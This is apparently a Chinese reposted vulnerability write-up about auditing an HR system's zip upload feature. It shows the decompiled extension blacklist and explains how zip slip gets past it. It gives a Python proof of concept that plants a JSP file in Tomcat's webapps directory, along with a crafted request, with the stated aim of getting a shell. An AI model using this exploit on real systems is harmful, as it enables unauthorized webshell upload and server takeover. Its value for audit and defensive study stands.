文章来源:https://forum.butian.net/share/4129
之前人力系统审计文章中发现了鸡肋的上传点,本着学习的心态看看能不能扩大利用到getshell,于是就有了这篇较坎坷的文章。
try {
var16 = ",jsp,jspx,bat,exe,jsf,jspf,server,setup,sql,sqlpage,tag,tagf,tagx,class,java,cmd,shs,msi,asp,aspx,net,";
var3 = new FileInputStream(new File(var7 + var6 + var1 + var2));
var15 = new ZipInputStream((InputStream)var3);
ZipEntry var17 = null;
while((var17 = var15.getNextEntry()) != null) {
if (!var17.isDirectory()) {
var18 = var17.getName();
var19 = var18.substring(var18.indexOf("."));
if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) {
var14.append("{文件名:"" + var1 + "",");
var14.append("类型:"" + var2 + "",");
var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}");
break;
}
if (var18.toLowerCase().indexOf("imsmanifest.xml") != -1) {
var9 = true;
SAXBuilder var20 = new SAXBuilder();
Document var21 = var20.build(var15);
var9 = var9 && this.isHashNode(var21);
break;
}
var15.closeEntry();
}
}
} catch (IOException var44) {
var44.printStackTrace();
throw new Exception("zip文件错误");
} finally {
PubFunc.closeIoResource(var15);
if (var3 != null) {
((InputStream)var3).close();
}
}
var18 = var17.getName();
var19 = var18.substring(var18.indexOf("."));
if (var16.indexOf("," + var19.toLowerCase() + ",") > -1 || var16.indexOf("," + var19.toLowerCase().substring(1) + ",") > -1) {
var14.append("{文件名:"" + var1 + "",");
var14.append("类型:"" + var2 + "",");
var14.append("失败原因:此压缩文件中包含不允许上传的文件类型!}");
break;
}
tomcat/temp/xxxx.zip(ps:1.txt) -解压-> tomcat/temp/$(var2)/1.txt -zipslip-> tomcat/temp/$(var2)/../../webapps/1.txt
public void execute() throws GeneralException {
String var1 = "yes";
try {
...
String var3 = (String)this.getFormHM().get("r5100");
...
String var9 = (String)this.getFormHM().get("newPath");
...
if (!var3.equals("")) {
var2.setString("r5100", var3);
var12 = this.isZip(var9, var3);
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc1.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc1.zip")
zipFile.write("./1.jsp", "../../webapps/xxx/2.jsp", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
__xml={"functionId":"xxxxx0098","r5100":"123","newPath":"pymPAATTP2HJBPAATTPTSp3D3B4rfY9KhAbdPAATTP2HJBPAATTPG5D88fn0v7FA6ABeChYeJjq5fcLohhB4gaPAATTP2HJFPAATTPMIiqi5FFXEQqKHZPAATTP2HJFPAATTPrZR64L1hzvI0QApCj0mzlpFOFuzGQIlBSYCwL5nI36C66MJjBwHiBy1Kyx3cPAATTP2HJBPAATTPkHzFwJhiAe0xXuCscfPAATTP2HJBPAATTPPAATTP2HJFPAATTPhUSy6Ih2mpMTae9Z2fOVVPAATTP2HJBPAATTPXPmDGAPAATTP3HJDPAATTPPAATTP3HJDPAATTP"}
原文始发于微信公众号(李白你好):突破后缀限制实现任意文件上传
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论